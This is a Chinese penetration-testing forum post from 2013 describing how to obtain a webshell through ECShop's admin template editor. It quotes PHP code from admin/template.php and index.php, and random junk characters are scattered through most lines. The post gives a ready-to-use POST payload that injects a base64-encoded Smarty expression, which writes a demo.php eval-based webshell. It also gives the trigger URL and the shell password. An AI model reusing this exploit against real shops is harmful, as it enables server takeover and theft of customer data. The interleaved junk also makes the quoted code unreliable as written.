中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
! H) d3 e& ^3 `& L) w$ I/ R" }9 m, t% `% @. T: H6 Y
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
0 J1 T3 X/ H) V9 s( b+ v% N但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
+ W/ a" @* ]6 H/ x1 h. {admin/template.php
7 v8 h" c( b- U" L. j& J4 a; A; F, ]3 V1 d; G
1 if ($_REQUEST['act'] == 'update_library')
, L* D3 O# u4 l& {8 T$ X5 R) e0 ?' p! G) W
2   
0 h. N( H9 l/ C
9 K: d! _8 }& @3 { , k( ]7 @( l" M; a( m3 f/ B

3 ]' H& V5 C5 }; l( E3 N+ w+ E4     check_authz_json('library_manage'); * f4 [: |& A( o2 K" E2 C
/ I, l: L$ K2 y2 \8 G0 x
5     U& E' c3 G7 `. H% z8 Y0 Z

2 g7 o( V/ G3 x+ `, R6     $html = stripslashes(json_str_iconv($_POST['html']));
$ V! b* ^6 x  c9 C0 s/ Q8 r  \5 D% d- z- Z) S* z" P) u
7   9 e+ m% j0 ?8 W; r- P

5 b1 x" E" L) H# y7 z4 A- g9 G3 z' p2 o* ~8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ I% C3 }$ A  S4 [* Y
1 V0 C8 h! W6 V0 `% Y. E9   
0 z( i+ k) j$ b! o. t2 A" ~3 t/ d+ Z3 g( @* ^! n! k$ ~
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 + B% T8 @1 ^1 }, @( R; l
& h+ o+ U% J, P& U$ h7 x7 z7 E  u
11   : `9 U  |" b2 a2 ^) G4 Q! p

* g: D8 ?* i! }: ^6 Q* e9 p3 z12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); # ~& {+ I/ m  g8 s6 k
. b2 r  E6 s6 H) ?! W% p4 u: P  n! L
13   / s0 |  [& s6 Q0 t8 V
' }6 o: V6 H' j$ p/ @* y: U
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
' ]8 Z8 }* z5 M/ T; M
( n8 R# f& c' G+ N- }15     {
0 z6 `( m$ q7 d% v9 D1 @# o1 }! ]* g
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
8 X/ {; X5 z" }0 _2 z( v/ }5 J2 i4 T& m) [: m, d$ C
17         make_json_result('', $_LANG['update_lib_success']);
# y7 h1 c; r0 Y& Z7 d* Q- _, j
4 I7 ~# B' D0 d" m2 r* v18     }
) P' v- u* g; {7 n7 ?" X* B0 N) W7 Q  g- d/ `; {9 x. u
19     else * u/ J" Q0 |0 U8 e. M2 @  u
" T1 ~# r: b8 }  Q+ G
20     {
+ f  _0 l; p6 p0 v5 q% u! h
9 X' {* g) D* i7 c; ?21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
5 R2 `3 |& O, @7 c1 b/ S$ ^+ {" i2 p( ?8 d5 d
22     }
8 m5 L: `+ V+ M: C5 H: D
; X/ X2 R7 o- w0 r$ \" M23 } % a+ R! a9 ^, F% V

" b# _2 M1 v: U/ s3 _5 K( f: S那么找个比较方便调用了模板的文件8 |* {  C8 M8 E/ C, w. E
index.php/ K% c1 a2 p0 p! e
' q, o6 t- d% g5 E' B' N
1 if ($act == 'cat_rec')
+ d) r* V- B$ G. ^+ |" |: f
) ]( H/ r2 ^  ]2 X# m1 @1 s6 x2   
: A- b8 n5 o/ N/ T& Z' J2 I  ^9 |$ ]: i6 J. q& ~
3 {
- V% V, K; v( m* V
! n: w4 E. T; r0 g: i3 t$ P6 U1 M0 r4   
3 _1 e* U: G1 N( n# T# I! n+ I4 m  u4 [3 q  _# s  h0 I- b
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
' L5 j4 w' O, A& d' M& M6 G' a' J  D! I' T3 }2 k
6   
" U  ~* B& q) I. e8 l0 t3 f+ X, P( @5 {' L, P4 D
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 X$ q' b* E2 r% l6 t1 ?. p
- F; i( d) g1 z4 y# T8     z, m6 J4 i7 @
) Q! Q7 c. X/ {9 n/ C4 Y! w6 t
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ; P! G1 V$ ?" A. |
- V( |) L2 K/ K5 y1 d, S# g, f8 ~
10   
5 x4 o$ K) k. n
" _: q2 M5 U8 s1 L- [, Z3 j11     include_once('includes/cls_json.php'); # L! P# s( O" m
2 \6 Y5 \6 b: V0 u) z+ `( r) |2 ~
12   
3 [) F* g% `  a
1 k, d9 w1 n3 _13     $json = new JSON;
) h" t( y( K4 v! U6 T# M
# S( t* y6 f. }* R8 u5 j0 ?14   
; ^9 B; @! I' h: q; `  T) ]# a2 g  [0 \# O" @
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
& j1 m7 a' V, i5 g2 ]9 i" D, ~
16   
- U" _- j  x' R- a& W: a4 o& J, d& R$ B; \! f" B8 l, F8 m7 j  N, _+ m& s
17     $children = get_children($cat_id);   y$ x8 \% H8 l; ^1 K3 c: p4 v! V2 P! R
* C9 M/ p! Y7 E* B9 @( z! V
18   " b" @. T( C1 w" M, V: d0 N
8 |% e1 Q3 G* T# \
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
/ H5 Z6 h" S6 y1 k( ~: O& e6 n# y% Z" A- O% G9 U% O" u$ F
20   2 @8 G+ i" M8 z  d0 I
% b2 A2 x1 [8 T6 \
21     $smarty->assign('cat_rec_sign', 1);
$ e5 J* N& f0 b; E5 c' g1 }) b) n, A8 u
22   
; L/ }$ p" O- r
: _# r) c% T4 |7 Y3 b23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
, b- ~: ^! S, D' ]) u6 u7 O4 K; J( y6 H3 ]. O$ U- m0 f  L2 r
24   
* E2 {0 C. G( B3 }1 T, {
6 H. a- p6 G* ?25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% R. _0 D9 T# M7 S& s
4 I- _# {1 e! l- x- E# ~* Y26   ( n9 X4 u1 p5 ]' B# V4 x$ m8 h

3 q  A9 d4 w8 u; M  H* C; D27         echo $rec_array[$rec_type];
; n9 l+ f3 B# H; ]8 N; t2 r: T! s: a
28   
' s- F% K9 {1 r3 n( q
- P5 O# X" C3 l8 S( ^- x& [0 o29     die($json->encode($result)); / h7 ~/ @/ g* c0 Z1 |) E3 `0 n# `- u/ f
* M" w* v$ V; _9 i
30   * i2 m1 |! U9 R) d" x6 o3 o

7 n6 ^. ]0 o" [2 k. C31 }
: Q: w4 _* s/ L7 G, q7 x( K" H6 T1 u
* X& \6 r! ~( N, ?9 Q. x那么就有利用方法了5 z2 a. `, B8 |! }- x) n
post包到http://localhost/ec/admin/template.php?act=update_library9 x& W/ H  f4 Q8 M
Post内容:
% |  t0 x# A& \/ |& Q  t. h4 J* ^  _( F3 k% H

+ u+ r  }! a7 o" u1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
0 w/ e) P8 E$ j8 Y& R0 U( K. A8 {. U9 ^; J4 R' b
然后访问http://localhost/ec/index.php?act=cat_rec
5 [: e5 d* p8 {' R
, H9 j8 @+ O/ X6 c2 K4 Q5 l7 Tshel地址:http://localhost/ec/demo.php7 `8 O/ J4 B7 T1 K- {
密码c
$ Y& Z. ~9 V# v1 E$ V5 P5 t: G8 J
  K- B8 c: t% i. ^+ b




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2